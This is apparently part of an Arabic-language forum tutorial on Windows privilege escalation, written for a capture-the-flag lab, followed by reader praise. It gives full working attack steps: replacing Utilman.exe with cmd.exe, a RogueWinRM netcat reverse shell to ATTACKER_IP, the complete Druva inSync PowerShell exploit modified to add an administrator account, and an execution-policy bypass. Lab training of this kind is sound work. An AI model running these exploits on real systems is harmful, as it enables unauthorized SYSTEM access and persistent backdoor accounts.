بتظهرلنا الصلاحيات كالتالي :
  • SeTakeOwnershipPrivilege: بتعطينا ملكية الملفات أو الأغراض الأخرى (معطلة).
  • SeChangeNotifyPrivilege: تجاوز الفحص (مفعلة).
  • SeIncreaseWorkingSetPrivilege: زيادة مجموعة العمل الخاصة بالعملية (معطلة).

احد البرامج اللي ممكن نستغلها عشان نرفع صلاحياتنا برنامج utilman
هو برنامج مدمج بويندوز يستخدم لتوفير خيارات سهولة الوصول في شاشة القفل

utilman normal behaviour


بما إن الـ utilman بشتغل بصلاحيات SYSTEM بنحصل على صلاحيات SYSTEM إذا استبدلناه بأي برنامج نختاره
نبدأ بأخذ ملكية utilman.exe باستخدام الأمر :

كود:
takeown /f C:\Windows\System32\Utilman.exe

بتطلعلنا رسالة نجاح بتحكي إن الملف Utilman.exe صار مملوك من المستخدم WINPRIVESC2\thmtakeownership

بما إننا صرنا المالكين للملف بنقدر نعطي نفسنا أي صلاحيات بنحتاجها باستخدام الأمر التالي :

كود:
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

بنستبدل utilman.exe بنسخة من cmd.exe باستخدام الأمر :

كود:
copy cmd.exe utilman.exe

عشان نفعل البرنامج utilman
بنفتح على شاشه القفل بعدين بنضغط على زر Ease of Access اللي بشغل utilman.exe بصلاحيات SYSTEM قبل بس احنا بدلناه بنسخة من cmd.exe رح نحصل على موجه الأوامر بصلاحيات SYSTEM

وهيك بنكون حصلنا على صلاحيات SYSTEM بطريقة سهلة وبسيطة




14. الـ SeImpersonate و SeAssignPrimaryToken:


الصلاحيات هاي بتسمح لبرنامج إنه يقلد مستخدمين ثانيين ويتصرف نيابةً عنهم التقليد هاد عادة بكون إن البرنامج بقدر يشغل برنامج أو (Thread) تحت حساب مستخدم ثاني

تخيل إن عننا سيرفر FTP بخلي الناس يرفعوا وينزلوا ملفات السيرفر هاد لازم يضمن إن كل مستخدم بقدر يشوف بس الملفات اللي مسموحله يشوفها

نفترض عننا خدمة FTP بتشتغل بحساب المستخدم ftp
لو Ann سجلت دخول وحبت توصل لملفاتها خدمة الـ FTP هتحاول توصل للملفات باستخدام access token الخاص بـ حساب المستخدم ftp مش تاع Ann

6e5768172fbb97d6777dde7e15a3fcfc.png

ليش مش كويس :
  1. عشان الملفات تتقدم بشكل صحيح لازم تكون متاحة لحساب المستخدم ftp يعني الخدمة هتقدر توصل لملفات Ann بس مش لملفات Bill لأن الإعدادات عند Bill مش متاحه للمستخدم ftp
  2. النظام بعتبر كل الملفات بقدر يوصلها المستخدم ftp بغض النظر عن مين اللي سجل دخول يعني الامر بكون لازم ينعمل من الخدمة نفسها مش من النظام
  3. لو الخدمة تم اختراقها المهاجم بقدر يوصل لكل الملفات اللي المستخدم ftp بقدر يشوفها

لو خدمة الـ FTP عندها صلاحيات SeImpersonate أو SeAssignPrimaryToken الموضوع بكون أسهل
الخدمة بتستخدم الـ access token الخاص بالمستخدم اللي سجل دخول وبتشتغل نيابةً عنه

يعني لو Ann سجلت دخول الخدمة بتاخذ الـ access token الخاص فيها وبتستخدمه عشان توصل لملفاتها وبهاذ الشكل الملفات مش لازم تسمح للمستخدم ftp يوصللها والنظام هو اللي بيتولى التحكم

لو قدرنا نسيطر على برنامج عنده لصلاحيات هاي بنقدر نقلد أي مستخدم بتصل وبسجل دخول للبرنامج هاد

بأنظمة ويندوز الحسابات LOCAL SERVICE و NETWORK SERVICE عندهم الصلاحيات هاي والخدمات اللي بتشتغل تحت الحسابات هاي بتستخدمها عشان تقدر تقلد المستخدمين المتصلين لو احتاجت خدمات زي Internet Information Services (IIS) بتعمل حسابات افتراضية مشابهة عشان التطبيقات الويب

المهاجم محتاج :
  1. يشغل برنامج عشان المستخدمين يتصلوا فيه ويسجلوا دخول
  2. يلاقي طريقة يخلي المستخدمين اللي عندهم صلاحيات عالية يتصلوا بالبرنامج الخبيث اللي شغله
بنستخدم ثغرة اسمها RogueWinRM عشان نحقق الشرطين هذول

نفترض إننا سيطرنا على موقع شغال على IIS وزرعنا Web Shell على العنوان :


كود:
http://10.10.48.233/
هنستخدم الـ Web Shell عشان نتحقق من الصلاحيات للحساب اللي سيطرنا عليه ونتأكد إننا عننا الصلاحيات المطلوبة

Webshell impersonate privileges

تشغيل الـ RogueWinRM:​

أولاً بنرفع الثغرة لجهاز الهدف (تم رفعها مسبقًا هنا: C:\tools)

الثغرة بتستغل خدمة BITS لما تبدأ بتعمل اتصال على البورت 5985 باستخدام صلاحيات SYSTEM بورت 5985 بستخدم خدمة WinRM اللي بتفتح Powershell Console للاتصال عن بعد

لو خدمة WinRM مش شغالة على السيرفر المهاجم بقدر يشغل خدمة WinRM وهمية على البورت 5985 ويصطاد محاولة التوثيق من خدمة BITS
لو المهاجم عنده صلاحيات التقليد بقدر ينفذ أي أمر نيابةً عن المستخدم المتصل اللي هو SYSTEM

الخطوات
  1. شغل مستمع netcat على جهاز المهاجم:
    كود:
    user@attackerpc$ nc -lvp 4442
  2. استخدم الـ Web Shell لتشغيل الثغرة بالامر:
    كود:
    c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
  3. بعد شوية بتلاقي إنك حصلت على Shell بصلاحيات SYSTEM :
    كود:
    user@attackerpc$ nc -lvp 4442
    Listening on 0.0.0.0 4442
    Connection received on 10.10.175.90 49755
    Microsoft Windows [Version 10.0.17763.1821]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    c:\windows\system32\inetsrv>whoami
    nt authority\system


رايتاب مفيد للموضوع




15. الـ Unpatched Software ( البرامج غير المحدثة ) :
البرامج المثبتة على النظام ممكن توفر فرص لرفع الصلاحيات زي المنظمات والمستخدمين ما بحدثوهة زي ما بحدثو نظام التشغيل
بنقدر تستخدم أداة wmic عشان نتسرد البرامج المثبتة على النظام وإصداراتها الأمر هذا بيسوي تفريغ للمعلومات اللي يقدر يحصل عليها عن البرامج المثبتة (ممكن ياخذ حوالي دقيقة عشان يخلص):

كود:
wmic product get name,version,vendor

أمر wmic product ممكن ما يرجع كل البرامج المثبتة حسب طريقة تثبيت بعض البرامج ممكن ما تظهر هون لا تنسا تشيك على اختصارات سطح المكتب على الخدمات المتاحة أو أي أثر بدل على وجود برامج إضافية ممكن يكون فيها ثغرات

بعد ما نجمع معلومات إصدارات البرامج بنبحث عن الثغرات الموجودة بالبرامج المثبتة على مواقع زي exploit-db، packet storm أو حتى جوجل






16. الـ Druva inSync 6.6.3 :

سيرفر الهدف بستخدم Druva inSync 6.6.3 اللي فيه ثغرة رفع صلاحيات حسب تقرير Matteo Malvica
الثغرة ناتجة عن تحديث سيء تم تطبيقه على ثغرة أخرى كانت بالإصدار 6.5.0 حسب تقرير Chris Lyne

البرنامج فيه ثغرة لأنه بشغل سيرفر RPC (استدعاء إجراء عن بُعد) على البورت 6064 بصلاحيات الـ SYSTEM ومتاحة فقط من الـ localhost

إذا ما بتعرف شو هو الـ RPC : هو ببساطة آلية بتسمح للعملية بفتح وظائف (تسمى إجراءات في مصطلح RPC) عبر الشبكة عشان الأجهزة الأخرى تقدر تستدعيها عن بعد

في حالة الـ Druva inSync وحدة من الإجراءات المفتوحة (تحديدًا الإجراء رقم 5) على البورت 6064 بسمح لأي شخص بطلب تنفيذ أي أمر بما إن سيرفر RPC يعمل بصلاحيات الـ SYSTEM أي أمر بتنفذ بصلاحيات SYSTEM

الثغرة الأصلية المبلغ عنها بالإصدارات 6.5.0 واللي قبلها كانت بتسمح بتشغيل أي أمر بدون قيود
الفكرة الأصلية كانت لتشغيل بعض الملفات التنفيذية المحددة مع inSync عن بعد ولكن ما كان فيه تحقق لضمان هاد الاشي

اصدرو تحديث قرروا يتحققو من الأمر المنفذ يبدأ بالسلسلة C:\ProgramData\Druva\inSync4 هيك بتكون الملفات هاي الملفات التنفيذية المسموح فيها بس هاد التحديث ما كان كافي لأنك ببساطة بتقدر تسوي هجوم path traversal لتفادي هذا النوع من التحكم

لنفترض إنك بدك تشغل C:\Windows\System32\cmd.exe
اللي هو مش بالمسار المسموح بتقدر تطلب من السيرفر يشغل C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe وهيك بتم تجاوز التحقق بنجاح

شرح تنفيذ الثغرة
عشان ننفذ ثغرة ناجحة لازم نفهم كيف نتواصل مع البورت 6064

البروتوكول المستخدم بسيط والحزم المرسلة موضحة بالرسم التالي :

Druva Exploit Diagram

الحزمة الأولى ببساطة تحتوي على hello packet
الحزمة الثانية بتشير إلى إننا بدنا ننفذ الإجراء رقم 5 لأنه هو الإجراء الثغرة اللي بشغل أي أمر
الحزمتين الأخيرتين تستخدم لإرسال طول الأمر و الأمر للتنفيذ على التوالي


كود الاستغلال
نشر Matteo Malvica كود الاستغلال اللي بتقدر تستخدمه في جهاز الهدف لرفع صلاحياتك والحصول على حل هذه التحدي ( اللي تحت ) هنا كود الاستغلال الأصلي:
كود:
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)



بتقدر تفتح الـ Powershell وتلصق الكود مباشرة للتنفيذ (الاستغلال متاح بجهاز الهدف ( للتحدي ) بـ C:\tools\Druva_inSync_exploit.txt

لاحظ إن الـ payload الافتراضي المحددة في المتغير cmd$ بتضيف مستخدم باسم pwnd بالنظام لكن ما بتعطيه صلاحيات إدارية فـ بنحتاج نغير الـ payload لأشي أكثر افاده بالنسبة للتحدي

بنغير الـ payload لتشغيل الأمر التالي :
كود:
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

هاد بضيف مستخدم pwnd بكلمة مرور SimplePass123 وبضيفه لمجموعة الـ administrator's

إذا الاستغلال نجح بنشغل الأمر التالي للتحقق من وجود المستخدم pwnd وأنه جزء من مجموعة الـ administrator's :
كود:
net user pwnd










17. Tools of the Trade ( أدوات الفحص ):​

فيه عدة سكريبتات بتقدر تستخدمها عشان تفحص النظام وتعرف إذا فيه طرق لرفع الصلاحيات زي ما شفنا بالمهمة السابقة الأدوات هاي بتسهل عملية الفحص وبتختصر الوقت وبتساعدك تكتشف طرق جديدة لرفع الصلاحيات
بس تذكر إن الأدوات الآلية ممكن يفوت عليها بعض الطرق

هاي بعض الأدوات المشهورة اللي تستخدم في فحص طرق رفع الصلاحيات

WinPEAS

هو سكريبت مصمم لفحص النظام المستهدف واكتشاف طرق رفع الصلاحيات بتقدر تعرف معلومات أكثر عنه وتحمل النسخة الجاهزة أو ملف
بشغل أوامر مشابهة للِّي تكلمنا عنها وبطبع النتائج لكن النتائج من WinPEAS ممكن تكون طويلة وصعب تقراها عشان هيك من الأفضل توجه المخرجات لملف :
كود:
C:\> winpeas.exe > outputfile.txt

بتقدر تحمل WinPEAS من الرابط التالي

PrivescCheck

هو سكربت PowerShell ببحث عن طرق رفع الصلاحيات الشائعة في النظام المستهدف هو بديل لـ WinPEAS وما بحتاج يشغل ملف تنفيذي

ملاحظة: عشان تشغل PrivescCheck على النظام المستهدف ممكن تحتاج تتجاوز قيود السياسات التنفيذية بتقدر تسوي هاد باستخدام الأمر Set-ExecutionPolicy زي هيك :
كود:
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck

بتقدر تحمل PrivescCheck من الرابط التالي

WES-NG: Windows Exploit Suggester - Next Generation

بعض سكربتات اقتراح الثغرات (مثل winPEAS) بتحتاج ترفعها على النظام المستهدف وتشغلها هناك هاد ممكن يخلي برامج الحماية تكتشفها وتحذفها عشان تتجنب لفت الانتباه ممكن تفضل تستخدم WES-NG اللي بشتغل على جهازك
هو سكريبت Python

بعد ما تثبته
قبل ما تستخدمه اكتب الأمر التالي لتحديث قاعدة البيانات :

كود:
wes.py --update

السكريبت هاد بعتمد على قاعدة بيانات اللي بنشئها عشان يفحص التحديثات الناقصة اللي ممكن تكون بتقدر تستغلها لرفع الصلاحيات على النظام المستهدف
لاستخدام السكريبت بتحتاج تشغل أمر systeminfo على النظام المستهدف لا تنسى توجيه المخرجات لملف txt. وتنسخه لجهازك
بعدها بتقدر تشغل WES-NG بهاي الطريقة :

كود:
user@kali$ wes.py systeminfo.txt

بتقدر تحمل WES-NG من الرابط التالي

Metasploit

إذا عندك بالفعل Meterpreter على النظام المستهدف بتقدر تستخدم الموديول multi/recon/local_exploit_suggester عشان يعرضلك الثغرات اللي ممكن تأثر على النظام المستهدف وتسمحلك ترفع صلاحياتك عليه




res

الله يعطيك العافية
ما شاء الله , ربنا يزيدك من فضله وينفع فيك
 
عبود المرعب ❤️
والله انك وحش
شرح جبار
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى